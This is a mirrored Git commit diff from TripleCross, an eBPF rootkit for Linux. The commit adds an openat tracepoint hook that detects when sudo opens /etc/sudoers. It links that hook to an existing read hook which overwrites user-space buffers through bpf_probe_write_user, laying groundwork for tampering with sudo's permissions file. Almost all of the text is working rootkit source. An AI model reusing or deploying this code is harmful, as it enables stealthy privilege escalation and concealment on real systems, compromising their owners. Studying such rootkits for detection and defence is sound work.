mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-20 16:53:07 +08:00
Added new hooks and updated map fields to support new sudo module.
This commit is contained in:
3
.vscode/settings.json
vendored
3
.vscode/settings.json
vendored
@@ -19,6 +19,7 @@
|
|||||||
"netlink.h": "c",
|
"netlink.h": "c",
|
||||||
"bpf_helper_defs.h": "c",
|
"bpf_helper_defs.h": "c",
|
||||||
"bpf.h": "c",
|
"bpf.h": "c",
|
||||||
"stddef.h": "c"
|
"stddef.h": "c",
|
||||||
|
"ring_buffer.h": "c"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Binary file not shown.
File diff suppressed because it is too large
Load Diff
BIN
src/bin/kit
BIN
src/bin/kit
Binary file not shown.
@@ -6,8 +6,14 @@
|
|||||||
#define SECRET_PACKET_DEST_PORT 9000
|
#define SECRET_PACKET_DEST_PORT 9000
|
||||||
#define SUBSTITUTION_NEW_PAYLOAD "The previous message has been hidden ;)"
|
#define SUBSTITUTION_NEW_PAYLOAD "The previous message has been hidden ;)"
|
||||||
|
|
||||||
|
|
||||||
//FS
|
//FS
|
||||||
#define STRING_FS_HIDE "This won't be seen"
|
#define STRING_FS_HIDE "This won't be seen"
|
||||||
#define STRING_FS_OVERWRITE "That is now hidden"
|
#define STRING_FS_OVERWRITE "That is now hidden"
|
||||||
|
|
||||||
|
#define STRING_FS_SUDO_TASK "sudo"
|
||||||
|
#define STRING_FS_SUDO_TASK_LEN 5
|
||||||
|
#define STRING_FS_SUDOERS_FILE "/etc/sudoers"
|
||||||
|
#define STRING_FS_SUDOERS_FILE_LEN 13
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
28
src/ebpf/include/bpf/defs.h
Normal file
28
src/ebpf/include/bpf/defs.h
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
#ifndef __BPF_MAP_DEFS_H
|
||||||
|
#define __BPF_MAP_DEFS_H
|
||||||
|
|
||||||
|
#include "headervmlinux.h"
|
||||||
|
|
||||||
|
//Tasks and comms
|
||||||
|
#define TASK_COMM_LEN 16
|
||||||
|
|
||||||
|
//File system data of a running program which opened some fd
|
||||||
|
#define FS_OPEN_DATA_PROGRAM_NAME_SIZE 16
|
||||||
|
#define FS_OPEN_DATA_FILENAME_SIZE 16
|
||||||
|
struct fs_open_data{
|
||||||
|
char* buf;
|
||||||
|
int fd;
|
||||||
|
__u32 pid;
|
||||||
|
char program_name[FS_OPEN_DATA_PROGRAM_NAME_SIZE];
|
||||||
|
char filename[FS_OPEN_DATA_FILENAME_SIZE];
|
||||||
|
int is_sudo;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct fs_open{
|
||||||
|
__uint(type, BPF_MAP_TYPE_HASH);
|
||||||
|
__uint(max_entries, 4096);
|
||||||
|
__type(key, __u64); //thread group id(MSB) + pid (LSB)
|
||||||
|
__type(value, struct fs_open_data);
|
||||||
|
} fs_open SEC(".maps");
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -9,6 +9,7 @@
|
|||||||
#include <linux/ptrace.h>
|
#include <linux/ptrace.h>
|
||||||
#include <linux/stat.h>*/
|
#include <linux/stat.h>*/
|
||||||
#include <ctype.h>
|
#include <ctype.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
#include <bpf/bpf_helpers.h>
|
#include <bpf/bpf_helpers.h>
|
||||||
#include <bpf/bpf_tracing.h>
|
#include <bpf/bpf_tracing.h>
|
||||||
@@ -17,11 +18,12 @@
|
|||||||
#include "../../../common/constants.h"
|
#include "../../../common/constants.h"
|
||||||
#include "../../../common/map_common.h"
|
#include "../../../common/map_common.h"
|
||||||
#include "../data/ring_buffer.h"
|
#include "../data/ring_buffer.h"
|
||||||
#include "map_defs.h"
|
#include "defs.h"
|
||||||
#include "../utils/strings.h"
|
#include "../utils/strings.h"
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L673
|
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_exit_read/format
|
||||||
|
* Also https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L673
|
||||||
*/
|
*/
|
||||||
struct sys_read_exit_ctx {
|
struct sys_read_exit_ctx {
|
||||||
unsigned long long unused; //Pointer to pt_regs
|
unsigned long long unused; //Pointer to pt_regs
|
||||||
@@ -30,7 +32,8 @@ struct sys_read_exit_ctx {
|
|||||||
};
|
};
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L588
|
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_read/format
|
||||||
|
* Also https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L588
|
||||||
*/
|
*/
|
||||||
struct sys_read_enter_ctx {
|
struct sys_read_enter_ctx {
|
||||||
unsigned long long unused; //Pointer to pt_regs
|
unsigned long long unused; //Pointer to pt_regs
|
||||||
@@ -41,56 +44,40 @@ struct sys_read_enter_ctx {
|
|||||||
size_t count;
|
size_t count;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_open/format
|
||||||
|
*/
|
||||||
|
struct sys_openat_enter_ctx {
|
||||||
|
unsigned long long unused;
|
||||||
|
int __syscall_nr;
|
||||||
|
unsigned int padding;
|
||||||
|
int dfd;
|
||||||
|
char* filename;
|
||||||
|
unsigned int flags;
|
||||||
|
umode_t mode;
|
||||||
|
};
|
||||||
|
|
||||||
static __always_inline int handle_tp_sys_enter_read(struct sys_read_enter_ctx *ctx, int fd, char* buf){
|
static __always_inline int handle_tp_sys_enter_read(struct sys_read_enter_ctx *ctx, int fd, char* buf){
|
||||||
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||||
__u32 pid = pid_tgid >> 32;
|
__u32 pid = pid_tgid >> 32;
|
||||||
struct fs_open_data data = {
|
|
||||||
.buf = buf,
|
struct fs_open_data *stored_data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);
|
||||||
.fd = fd,
|
if (stored_data == NULL){
|
||||||
.pid = pid
|
//Not found
|
||||||
};
|
//bpf_printk("Not found\n");
|
||||||
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct fs_open_data data = *stored_data;
|
||||||
|
data.buf = buf;
|
||||||
|
data.fd = fd;
|
||||||
|
|
||||||
|
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_EXIST);
|
||||||
//bpf_printk("IN PID: %u, FS:%u\n", pid, fd);
|
//bpf_printk("IN PID: %u, FS:%u\n", pid, fd);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
static __always_inline int handle_sys_write(struct sys_read_enter_ctx *ctx, int fd, char* buf){
|
static __always_inline int handle_tp_sys_exit_read(struct sys_read_exit_ctx *ctx, __u64 pid_tgid){
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @brief Receives read event and stores the parameters into internal map
|
|
||||||
*
|
|
||||||
*/
|
|
||||||
SEC("tp/syscalls/sys_enter_read")
|
|
||||||
int tp_sys_enter_read(struct sys_read_enter_ctx *ctx) {
|
|
||||||
struct sys_read_enter_ctx *rctx = ctx;
|
|
||||||
if (ctx == NULL){
|
|
||||||
bpf_printk("Error\n");
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
int fd = (int) ctx->fd;
|
|
||||||
char *buf = (char*) ctx->buf;
|
|
||||||
return handle_tp_sys_enter_read(ctx, fd, buf);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @brief Called AFTER the ksys_read call, checks the internal
|
|
||||||
* map for the tgid+pid used and extracts the parameters.
|
|
||||||
* Uses the user-space buffer reference for overwritting the returned
|
|
||||||
* values.
|
|
||||||
*
|
|
||||||
*/
|
|
||||||
SEC("tp/syscalls/sys_exit_read")
|
|
||||||
int tp_sys_exit_read(struct sys_read_exit_ctx *ctx){
|
|
||||||
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
|
||||||
if(pid_tgid<0){
|
|
||||||
//bpf_printk("Out\n");
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
//bpf_printk("OUT PID: %u\n", pid_tgid>>32);
|
|
||||||
|
|
||||||
struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);
|
struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);
|
||||||
if (data == NULL || data->buf == NULL){
|
if (data == NULL || data->buf == NULL){
|
||||||
//Not found
|
//Not found
|
||||||
@@ -126,10 +113,11 @@ int tp_sys_exit_read(struct sys_read_exit_ctx *ctx){
|
|||||||
//bpf_printk("Discarded string at pid cause c %u, %s\n", pid, buf);
|
//bpf_printk("Discarded string at pid cause c %u, %s\n", pid, buf);
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
bpf_printk("Overwritting at pid %u, %s\n", pid, buf);
|
bpf_printk("Overwritting at pid %u, %s\n", pid, buf);
|
||||||
|
bpf_printk("Filename is %s\n", data->filename);
|
||||||
|
bpf_printk("and program name is %s\n", data->program_name);
|
||||||
if(bpf_probe_write_user((void*)buf, (void*)msg_overwrite, (__u32)sizeof(msg_overwrite)-1)<0){
|
if(bpf_probe_write_user((void*)buf, (void*)msg_overwrite, (__u32)sizeof(msg_overwrite)-1)<0){
|
||||||
bpf_printk("Error writing to user memory\n");
|
bpf_printk("Error writing to user memory\n");
|
||||||
}
|
}
|
||||||
@@ -138,4 +126,106 @@ int tp_sys_exit_read(struct sys_read_exit_ctx *ctx){
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
static __always_inline int handle_tp_sys_enter_openat(struct sys_openat_enter_ctx *ctx, __u64 pid_tgid){
|
||||||
|
char comm[TASK_COMM_LEN] = {0};
|
||||||
|
int err = bpf_get_current_comm(comm, sizeof(comm));
|
||||||
|
/*struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);
|
||||||
|
if (data == NULL || data->buf == NULL){
|
||||||
|
//Not found
|
||||||
|
bpf_printk("Not found in openat\n");
|
||||||
|
return -1;
|
||||||
|
}*/
|
||||||
|
|
||||||
|
if(err < 0){
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
char filename[STRING_FS_SUDOERS_FILE_LEN] = {0};
|
||||||
|
bpf_probe_read_user(&filename, STRING_FS_SUDOERS_FILE_LEN, (char*)ctx->filename);
|
||||||
|
|
||||||
|
__u32 pid = pid_tgid >> 32;
|
||||||
|
struct fs_open_data data = {
|
||||||
|
.pid = pid
|
||||||
|
};
|
||||||
|
bpf_probe_read(data.filename, STRING_FS_SUDOERS_FILE_LEN, filename);
|
||||||
|
bpf_probe_read(data.program_name, FS_OPEN_DATA_PROGRAM_NAME_SIZE, comm);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
//Check task is sudo
|
||||||
|
char *sudo = STRING_FS_SUDO_TASK;
|
||||||
|
if(str_n_compare(comm, TASK_COMM_LEN, sudo, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
|
||||||
|
data.is_sudo = 0;
|
||||||
|
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
//Check filename is the sudoers file
|
||||||
|
char *sudoers = STRING_FS_SUDOERS_FILE;
|
||||||
|
if(str_n_compare(filename, STRING_FS_SUDOERS_FILE_LEN, sudoers, STRING_FS_SUDOERS_FILE_LEN, STRING_FS_SUDOERS_FILE_LEN) != 0){
|
||||||
|
data.is_sudo = 0;
|
||||||
|
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
data.is_sudo = 1;
|
||||||
|
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
|
||||||
|
bpf_printk("It was a sudo!\n");
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Receives read event and stores the parameters into internal map
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
SEC("tp/syscalls/sys_enter_read")
|
||||||
|
int tp_sys_enter_read(struct sys_read_enter_ctx *ctx) {
|
||||||
|
struct sys_read_enter_ctx *rctx = ctx;
|
||||||
|
if (ctx == NULL){
|
||||||
|
bpf_printk("Error\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int fd = (int) ctx->fd;
|
||||||
|
char *buf = (char*) ctx->buf;
|
||||||
|
return handle_tp_sys_enter_read(ctx, fd, buf);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Called AFTER the ksys_read call, checks the internal
|
||||||
|
* map for the tgid+pid used and extracts the parameters.
|
||||||
|
* Uses the user-space buffer reference for overwritting the returned
|
||||||
|
* values.
|
||||||
|
*/
|
||||||
|
SEC("tp/syscalls/sys_exit_read")
|
||||||
|
int tp_sys_exit_read(struct sys_read_exit_ctx *ctx){
|
||||||
|
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||||
|
if(pid_tgid<0){
|
||||||
|
//bpf_printk("Out\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
//bpf_printk("OUT PID: %u\n", pid_tgid>>32);
|
||||||
|
|
||||||
|
return handle_tp_sys_exit_read(ctx, pid_tgid);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
SEC("tp/syscalls/sys_enter_openat")
|
||||||
|
int tp_sys_enter_openat(struct sys_openat_enter_ctx *ctx){
|
||||||
|
__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||||
|
if(pid_tgid<0){
|
||||||
|
//bpf_printk("Out\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
return handle_tp_sys_enter_openat(ctx, pid_tgid);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
#ifndef __BPF_MAP_DEFS_H
|
|
||||||
#define __BPF_MAP_DEFS_H
|
|
||||||
|
|
||||||
#include "headervmlinux.h"
|
|
||||||
|
|
||||||
//File system
|
|
||||||
struct fs_open_data{
|
|
||||||
char* buf;
|
|
||||||
int fd;
|
|
||||||
__u32 pid;
|
|
||||||
};
|
|
||||||
|
|
||||||
struct fs_open{
|
|
||||||
__uint(type, BPF_MAP_TYPE_HASH);
|
|
||||||
__uint(max_entries, 1024*sizeof(struct fs_open_data));
|
|
||||||
__type(key, __u64); //thread group id(MSB) + pid (LSB)
|
|
||||||
__type(value, struct fs_open_data);
|
|
||||||
} fs_open SEC(".maps");
|
|
||||||
|
|
||||||
#endif
|
|
||||||
@@ -58,10 +58,6 @@ static __always_inline char* str_n_copy(char *dest, const char *src, int count){
|
|||||||
return dest;
|
return dest;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* @brief Checks if string is a
|
|
||||||
*
|
|
||||||
*/
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -16,9 +16,15 @@ int attach_tp_sys_exit_read(struct kit_bpf *skel){
|
|||||||
skel->links.tp_sys_exit_read = bpf_program__attach(skel->progs.tp_sys_exit_read);
|
skel->links.tp_sys_exit_read = bpf_program__attach(skel->progs.tp_sys_exit_read);
|
||||||
return libbpf_get_error(skel->links.tp_sys_exit_read);
|
return libbpf_get_error(skel->links.tp_sys_exit_read);
|
||||||
}
|
}
|
||||||
|
int attach_tp_sys_enter_openat(struct kit_bpf *skel){
|
||||||
|
skel->links.tp_sys_enter_openat = bpf_program__attach(skel->progs.tp_sys_enter_openat);
|
||||||
|
return libbpf_get_error(skel->links.tp_sys_enter_openat);
|
||||||
|
}
|
||||||
|
|
||||||
int attach_fs_all(struct kit_bpf *skel){
|
int attach_fs_all(struct kit_bpf *skel){
|
||||||
return attach_tp_sys_enter_read(skel) || attach_tp_sys_exit_read(skel);
|
return attach_tp_sys_enter_read(skel) ||
|
||||||
|
attach_tp_sys_exit_read(skel) ||
|
||||||
|
attach_tp_sys_enter_openat(skel);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -38,9 +44,19 @@ int detach_tp_sys_exit_read(struct kit_bpf *skel){
|
|||||||
}
|
}
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
int detach_tp_sys_enter_openat(struct kit_bpf *skel){
|
||||||
|
int err = detach_link_generic(skel->links.tp_sys_enter_openat);
|
||||||
|
if(err<0){
|
||||||
|
fprintf(stderr, "Failed to detach fs link\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
int detach_fs_all(struct kit_bpf *skel){
|
int detach_fs_all(struct kit_bpf *skel){
|
||||||
return detach_tp_sys_enter_read(skel) || detach_tp_sys_exit_read(skel);
|
return detach_tp_sys_enter_read(skel) ||
|
||||||
|
detach_tp_sys_exit_read(skel) ||
|
||||||
|
detach_tp_sys_enter_openat(skel);
|
||||||
}
|
}
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
@@ -15,7 +15,8 @@ module_config_t module_config = {
|
|||||||
.fs_module = {
|
.fs_module = {
|
||||||
.all = ON,
|
.all = ON,
|
||||||
.tp_sys_enter_read = OFF,
|
.tp_sys_enter_read = OFF,
|
||||||
.tp_sys_exit_read = OFF
|
.tp_sys_exit_read = OFF,
|
||||||
|
.tp_sys_enter_openat = OFF
|
||||||
}
|
}
|
||||||
|
|
||||||
};
|
};
|
||||||
@@ -59,6 +60,7 @@ int setup_all_modules(){
|
|||||||
}else{
|
}else{
|
||||||
if(config.fs_module.tp_sys_enter_read == ON) ret = attach_tp_sys_enter_read(attr.skel);
|
if(config.fs_module.tp_sys_enter_read == ON) ret = attach_tp_sys_enter_read(attr.skel);
|
||||||
if(config.fs_module.tp_sys_exit_read == ON) ret = attach_tp_sys_exit_read(attr.skel);
|
if(config.fs_module.tp_sys_exit_read == ON) ret = attach_tp_sys_exit_read(attr.skel);
|
||||||
|
if(config.fs_module.tp_sys_enter_openat == ON) ret = attach_tp_sys_enter_openat(attr.skel);
|
||||||
}
|
}
|
||||||
if(ret!=0) return -1;
|
if(ret!=0) return -1;
|
||||||
|
|
||||||
|
|||||||
@@ -27,6 +27,7 @@ typedef struct module_config_t{
|
|||||||
char all;
|
char all;
|
||||||
char tp_sys_enter_read;
|
char tp_sys_enter_read;
|
||||||
char tp_sys_exit_read;
|
char tp_sys_exit_read;
|
||||||
|
char tp_sys_enter_openat;
|
||||||
}fs_module;
|
}fs_module;
|
||||||
|
|
||||||
} module_config_t;
|
} module_config_t;
|
||||||
|
|||||||
Reference in New Issue
Block a user